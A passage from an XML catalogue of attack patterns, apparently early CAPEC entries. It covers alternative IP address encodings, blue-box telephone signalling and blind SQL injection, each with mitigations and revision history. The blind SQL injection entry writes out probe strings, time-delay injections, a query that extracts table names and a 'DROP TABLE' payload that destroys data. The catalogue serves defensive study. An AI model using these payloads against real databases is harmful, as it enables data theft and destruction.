			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name, Attack Execution Flow and Examples</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="4" Name="Using Alternative IP Address Encodings" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>This attack relies on the attacker using unexpected formats for representing IP addresses. Networked applications may expect network location information in a specific format, such as fully qualified domains names, URL, IP address, or IP Address ranges. The issue that the attacker can exploit is that these design assumptions may not be validated against a variety of different possible encodings and network address location formats. Applications that use naming for creating policy namespaces for managing access control may be susceptible to queryin directly by IP addresses, which is ultimately  a more generally authoritative way of communicating on a network.
			Alternative IP addresses can be used by the attacker to bypass application access control in order to gain access to data that is only protected by obscuring its location. 
			In addition this type of attack can be used as a reconnaissance mechansim to provide entry point information that the attacker gathers to penetrate deeper into the system.</Summary>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The target software must fail to anticipate all of the possible valid encodings of an IP/web address.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Medium</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: The attacker has only to try IP address combinations.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Ability to communicate with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Design: Default deny access control policies</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Input validation routines should check and enforce both input data types and content against a positive specification. In regards to IP addresses, this should include the authorized manner for the application to represent IP addresses and not accept user specified IP addresses and IP address formats (such as ranges)</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Perform input validation for all remote content.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Attack Pattern: Alternative IP Addresses
		"IP address ranges can be represented using alternative methods. Here are some examples:
		192.168.0.0/24
		192.168.0.0/255.255.255.0
		192.168.0.*
		
		Classic encoding techniques can be directed against IP numbers as well."
		
		[Hoglund and McGraw 04]</Context_Description>
		<Injection_Vector>Malicious input delivered through standard input </Injection_Vector>
		<Payload>Varies with instantiation of attack pattern. Malicious payload may be passed directly from appliation client, such as the web browser.</Payload>
		<Activation_Zone>Client machine and client network </Activation_Zone>
		<Payload_Activation_Impact>Enables attacker to view and access unexpected network services.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>291</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>180</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>41</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>345</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>707</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Medium</Confidentiality_Impact>
			<Integrity_Impact>Medium</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name, Attack Prerequisites,Resources Required and Method of Attack</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="5" Name="Analog In-band Switching Signals (aka Blue Boxing)" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>This attack against older telephone switches and trunks has been around for decades. The signal is sent by the attacker to impersonate a supervisor signal. This has the effect of rerouting or usurping command of the line and call. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded telco infrastructure and so are vulnerable to Blue boxing.

			Blue boxing is a result of failure on the part of the system to enforce strong authentication for administrative functions. While the infrastructure is different than standard current applications like web applications, there are hisotrical lessons to be learned to upgrade the access control for administrative functions.</Summary>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>System must use weak authentication mechanisms for administrative functions.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Medium</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Attacker identifies a vulnerable CCITT-5 phone line, and sends a combination tone to the switch in order to request administrative access. Based on tone and timing parameters the request is verified for access to the switch. Once the attacker has gained control of the switch launching calls, routing calls, and a whole host of opportunities are available.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: Given a vulnerable phone system, the attacker's technical vector relies on attacks that are well documented in cracker 'zines and have been around for decades.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>CCITT-5 or other vulnerable lines, with the ability to send tones such as combined 2,400 Hz and 2,600 Hz tones to the switch</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Implementation: Upgrade phone lines. Note this may be prohibitively expensive</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use strong access control such as two factor access control for adminsitrative access to the switch</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Attack Pattern: Analog In-band Switching Signals (aka "Blue Boxing")
		Many people have heard of 2600, the frequency used in the United States to control telephone switches during the 1960s and 1970s. (Come to think of it, probably more people have heard of the hacker 'zine 2600 and its associated club than have heard of the reason for the name of the club,) Most systems are no longer vulnerable to ancient phreaking attacks. However older systems are still found internationally. Overseas trunk lines that use trans-Atlantic cabling are prone to the in-band signal problem, and they are too expensive a resource to abandon. Thus, many overseas (home-country direct) 800/888 numbers are known to have in-band signal problems even today.

		Consider the CCITT-5(C5) signaling system that is used internationally. This system does not use the commonly known 2,600 Hz, but instead uses 2,400Hz as a control signal. If you have ever heard the "pleeps" and chirps on the Pink Floyd album "The Wall," then you have heard C5 signals. There are millions of phone lines still in operation today that are routed through switches with in-band signaling.

		This attack pattern involves playing specific control commands across a normal voice link, thus seizing control of the line, rerouting calls, and so on."

		[Hoglund and McGraw 04]</Context_Description>
		<Injection_Vector>Payload delivered through standard communication protocols.</Injection_Vector>
		<Payload>Command(s) executed directly on host</Payload>
		<Activation_Zone>Client machine and client network</Activation_Zone>
		<Payload_Activation_Impact>Enables calls to be rerouted.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>264</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Low</Confidentiality_Impact>
			<Integrity_Impact>Medium</Integrity_Impact>
			<Availability_Impact>Medium</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>Other</Architectural_Paradigm>
			<Framework>Other</Framework>
			<Platform>Other</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="7" Name="Blind SQL Injection" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages.  Without the error messages that facilitate SQL Injection, the attacker constructs input strings that probe the target through simple Boolean SQL expressions.  The attacker can determine if the syntax and structure of the injection was successful based on whether the query was executed or not.  Applied iteratively, the attacker determines how and where the target is vulnerable to SQL Injection.
			
			For example, an attacker  may try entering something like "username' AND 1=1; --" in an input field. If the result is the same as when the attacker entered "username" in the field, then the attacker knows that the application is vulnerable to SQL Injection. The attacker can then ask yes/no questions from the database server to extract information from it. For example,  the attacker can extract table names from a database using the following types of queries:
			"username' AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 108".
			
			If the above query executes properly, then the attacker knows that the first character in a table name in the database is a letter between m and z. If it doesn't, then the attacker knows that the character must be between a and l (assuming of course that table names only contain alphabetic characters). By performing a binary search on all character positions, the attacker can determine all table names in the database. Subsequently, the attacker may execute an actual attack and send something like:
			"username'; DROP TABLE trades; --</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Hypothesize SQL queries in application</Attack_Step_Title>
						<Attack_Step_Description>Generated hypotheses regarding the SQL queries in an application. For example, the attacker may hypothesize that his input is passed directly into a query that looks like:
						            "SELECT * FROM orders WHERE ordernum = _____"
						            or
						            "SELECT * FROM orders WHERE ordernum IN (_____)"
						            or
						            "SELECT * FROM orders WHERE ordernum in (_____) ORDER BY _____"
					            
						Of course, there are many other possibilities.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Research types of SQL queries and determine which ones could be used at various places in an application.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Determine how to inject information into the queries</Attack_Step_Title>
						<Attack_Step_Description>Determine how to inject information into the queries from the previous step such that the injection does not impact their logic. For example, the following are possible injections for those queries:
						            "5' OR 1=1; --"
						            and
						            "5) OR 1=1; --"
						            and
						            "ordernum DESC; --"</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Add clauses to the SQL queries such that the query logic does not change.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Add delays to the SQL queries in case server does not provide clear error  messages (e.g. WAITFOR DELAY '0:0:10' in SQL Server or BENCHMARK(1000000000,MD5(1) in MySQL). If these can be injected into the queries, then the length of time that the server takes to respond reveals whether the query is injectable or not.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c7s2o1" type="Success">At least one way to complete a hypothesized SQL query that would violate the application developer's assumptions.</Outcome>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Determine user-controllable input susceptible to injection</Attack_Step_Title>
						<Attack_Step_Description>Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to SQL injection, attempt to inject the values determined in the previous step. If an error does not occur, then the attacker knows that the SQL injection was successful.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use web browser to inject input through text fields or through HTTP GET parameters.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use network-level packet injection tools such as netcat to inject input</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use modified client (modified by reverse engineering) to inject input.</Attack_Step_Technique_Description>
							<Environments>env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c7s3i1" type="Positive">
							<Indicator_Description>Attacker receives normal response from server.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c7s3i2" type="Positive">
							<Indicator_Description>Response takes expected amount of time after delay is injected.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c7s3i3" type="Negative">
							<Indicator_Description>Server sends a specific error message that indicates programmatic parsing of the input data (e.g. NumberFormatException)</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Outcome ID="c7s3o1" type="Success">At least one user-controllable input susceptible to injection found.</Outcome>
						<Outcome ID="c7s3o2" type="Failure">No user-controllable input susceptible to injection found.</Outcome>
						<Security_Control ID="c7s3sc1" type="Detective">Unusual queries such as the ones described in the previous step, in application logs. Log files may contain unusual messages such as "User bob' OR 1=1; -- logged in". Operators should be alerted when such SQL commands appear in the logs.</Security_Control>
						<Security_Control ID="c7s3sc2" type="Preventative">Input validation of user-controlled data before including it in a SQL query</Security_Control>
						<Security_Control ID="c7s3sc3" type="Preventative">Use APIs that help mitigate SQL injection (such as PreparedStatement in Java)</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Determine database type</Attack_Step_Title>
						<Attack_Step_Description>Determines the type of the database, such as MS SQL Server or Oracle or MySQL, using logical conditions as part of the injected queries</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Try injecting a string containing char(0x31)=char(0x31) (this evaluates to 1=1 in SQL Server only)</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Try injecting a string containing 0x313D31 (this evaluates to 1=1 in MySQL only)</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Inject other database-specific commands into input fields susceptible to SQL Injection. The attacker can determine the type of database that is running by checking whether the query executed successfully or not (i.e. wheter the attacker received a normal response from the server or not).</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c7s4i1" type="Positive">
							<Indicator_Description>Success outcome in previous step</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c7s4i2" type="Negative">
							<Indicator_Description>Failure outcome in previous step</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Outcome ID="c7s4o1" type="Success">Database platform in use discovered.</Outcome>
						<Outcome ID="c7s4o2" type="Failure">Database platform in use not discovered.</Outcome>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Extract information about database schema</Attack_Step_Title>
						<Attack_Step_Description>Extract information about database schema by getting the database to answer yes/no questions about the schema.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Automatically extract database schema using a tool such as Absinthe.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Manually perform the blind SQL Injection to extract desired information about the database schema.</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c7s5i1" type="Positive">
							<Indicator_Description>Success outcome in previous step.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c7s5i2" type="Negative">
							<Indicator_Description>Failure outcome in previous step.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Outcome ID="c7s5o1" type="Success">Desired information about database schema extracted.</Outcome>
						<Outcome ID="c7s5o2" type="Failure">Desired information about database schema could not be extracted.</Outcome>
						<Security_Control ID="c7s5sc1" type="Detective">Large number of unusual queries in database logs.</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Exploit SQL Injection vulnerability</Attack_Step_Title>
						<Attack_Step_Description>Use the information obtained in the previous steps to successfully inject the database in order to bypass checks or modify, add, retrieve or delete data from the database</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use information about how to inject commands into SQL queries as well as information about the database schema to execute attacks such as dropping tables, inserting records, etc.</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c7s6i1" type="Positive">
							<Indicator_Description>Success outcome in previous step.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c7s6i2" type="Negative">
							<Indicator_Description>Failure outcome in previous step.</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Outcome ID="c7s6o1" type="Success">Attacker achieves goal of unauthorized system access, denial of service, etc.</Outcome>
						<Outcome ID="c7s6o2" type="Failure">Attacker cannot exploit the information gathered by blind SQL Injection</Outcome>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>SQL queries used by the application to store, retrieve or modify data.</Attack_Prerequisite>
			<Attack_Prerequisite>User-controllable input that is not properly validated by the application as part of SQL queries.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>In the PHP application TimeSheet 1.1, an attacker can successfully retrieve username and password hashes from the database using Blind SQL Injection. If the attacker is aware of the local path structure, the attacker can also remotely execute arbitrary code and write the output of the injected queries to the local path. Blind SQL Injection is possible since the application does not properly sanitize the $_POST['username'] variable in the login.php file.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2006-4705</Example-Instance_Related_Vulnerability>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium - Determining the database type and version, as well as the right number and type of parameters to the query being injected in the absence of error messages requires greater skill than reverse-engineering database error messages.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>None</Resources_Required>
		<Probing_Techniques>
			<Probing_Technique>In order to determine the right syntax for the query to inject, the attacker tries to determine the right number of parameters to the query and their types. This is achieved by formulating conditions that result in a true/false answer from the database. If the logical condition is true, the database will execute the rest of the query. If not, a custom error page or a default page is returned. Another approach is to ask such true/false questions of the database and note the response times to a query with a logically true condition and one with a false condition.</Probing_Technique>
		</Probing_Techniques>
		<Indicators-Warnings_of_Attack>
			<Indicator-Warning_of_Attack>The only indicators of successful Blind SQL Injection are the application or database logs that show similar queries with slightly differing logical conditions that increase in complexity over time. However, this requires extensive logging as well as knowledge of the queries that can be used to perform such injection and return meaningful information from the database.</Indicator-Warning_of_Attack>
		</Indicators-Warnings_of_Attack>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Security by Obscurity is not a solution to preventing SQL Injection. Rather than suppress error messages and exceptions, the application must handle them gracefully, returning either a custom error page or redirecting the user to a default page, without revealing any information about the database or the application internals.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as SQL content. Keywords such as UNION, SELECT or INSERT must be filtered in addition to characters such as a single-quote(') or SQL-comments (--) based on the context in which they appear.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>An attacker attempts Blind SQL Injection when traditional SQL Injection is not possible due to suppression of error messages.
      
		Blind SQL Injection is performed by appending logical conditions to the query being injected such that they evaluate to true or false in the context of the data stored in the database. The first step is to get the syntax for the injected query right. For example, consider a database that has a table named "users". Consider the following query:
		
		      SELECT fname, lname, dob, ssn, address FROM users WHERE userid="user1" AND password="user1pwd";
		      
		To determine whether the "userid" field is injectable or not, the attacker tries an input such as 
		
		      user1" AND 3&gt;1+1;--
		      
		This causes the following query
		
		      SELECT fname, lname, dob, ssn, address FROM users WHERE userid="user1" AND 3&gt;1+1;--
		      
		to be passed to the database. If the parameter is injectable, the database evaluates 3&gt;1+1 to be true and executes the query. If, on the other hand, a condition such as 3&lt;2 were passed, the database would return an error. Since the application suppresses such errors, the attacker never sees it. However, the application may simply hang or it may redirect to a custom error page or a default page, which is definitely an indication that the injected condition was evaluated to be false. The query can also fail if the original condition was within parentheses, such as
		      
		      WHERE (userid="johns" AND password="abracadabra")
		      
		In such a case, the attacker will have to try injection such that the parentheses match up.
		      
		Once the attacker gets the syntax right, the next step is to identify the database. This can be achieved by using operators that are unique to each database engine. For example, a condition such as "abc" = "a"+"bc" evaluates to true on MS SQL Server whereas it evaluates to false on Oracle since the concatentation operator is ||. Another approach is using system-specific functions such as those for date and time.
		      
		The next step is to determine the number and type of parameters. This can again be achieved by exploiting the SELECT...WHERE conditions or using UNION SELECT statements with dummy numeric or character-based parameters.
		      
		Once the type of database as well as the structure of the query has been mapped out by asking a number of questions to the database, the attacker is in a position to inject the database and extract information from it.
		      
		Blind SQL Injection is a classic example of solution by reduction where the domain to be attacked is successively narrowed down by the attacker through true or false queries to the database.</Context_Description>
		<Injection_Vector>User-controllable input to the application</Injection_Vector>
		<Payload>SQL statements intended to bypass checks or retrieve information about the database</Payload>
		<Activation_Zone>Back-end database</Activation_Zone>
		<Payload_Activation_Impact>The injected SQL statements are such that they result in a true/false query to the database. If the database evaluates a statement to be logically true, it responds with the requested data. If the condition is evaluated to be logically false, an error is returned. The attacker modifies the boolean condition each time to gain information from the database.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>89</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>209</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>390</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>713</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>707</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>66</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>Occasionally Precedes</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Relevant_Security_Requirements>
			<Relevant_Security_Requirement>Custom error pages must be used to handle exceptions such that they do not reveal any information about the architecture of the application or the database.</Relevant_Security_Requirement>
			<Relevant_Security_Requirement>Special characters in user-controllable input must be escaped before use by the application.</Relevant_Security_Requirement>
			<Relevant_Security_Requirement>Employ application-level safeguards to filter data and handle exceptions gracefully.</Relevant_Security_Requirement>
		</Relevant_Security_Requirements>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to Trust</Related_Security_Principle>
			<Related_Security_Principle>Failing Securely</Related_Security_Principle>
			<Related_Security_Principle>Defense in Depth</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Never Use Input as Part of a Directive to any Internal Component</Related_Guideline>
			<Related_Guideline>Handle All Errors Safely</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>CWE - Input Validation</Reference>
			<Reference>CWE - Improper Error Handling</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>Chiradeep B Chhaya</Submitter>
				<Submission_Date>2007-02-22</Submission_Date>
				<Submission_Comment>Third Draft - Revised to schema v1.4</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Malik Hamro</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-27</Modification_Date>
				<Modification_Comment>Reformat to new schema and review</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
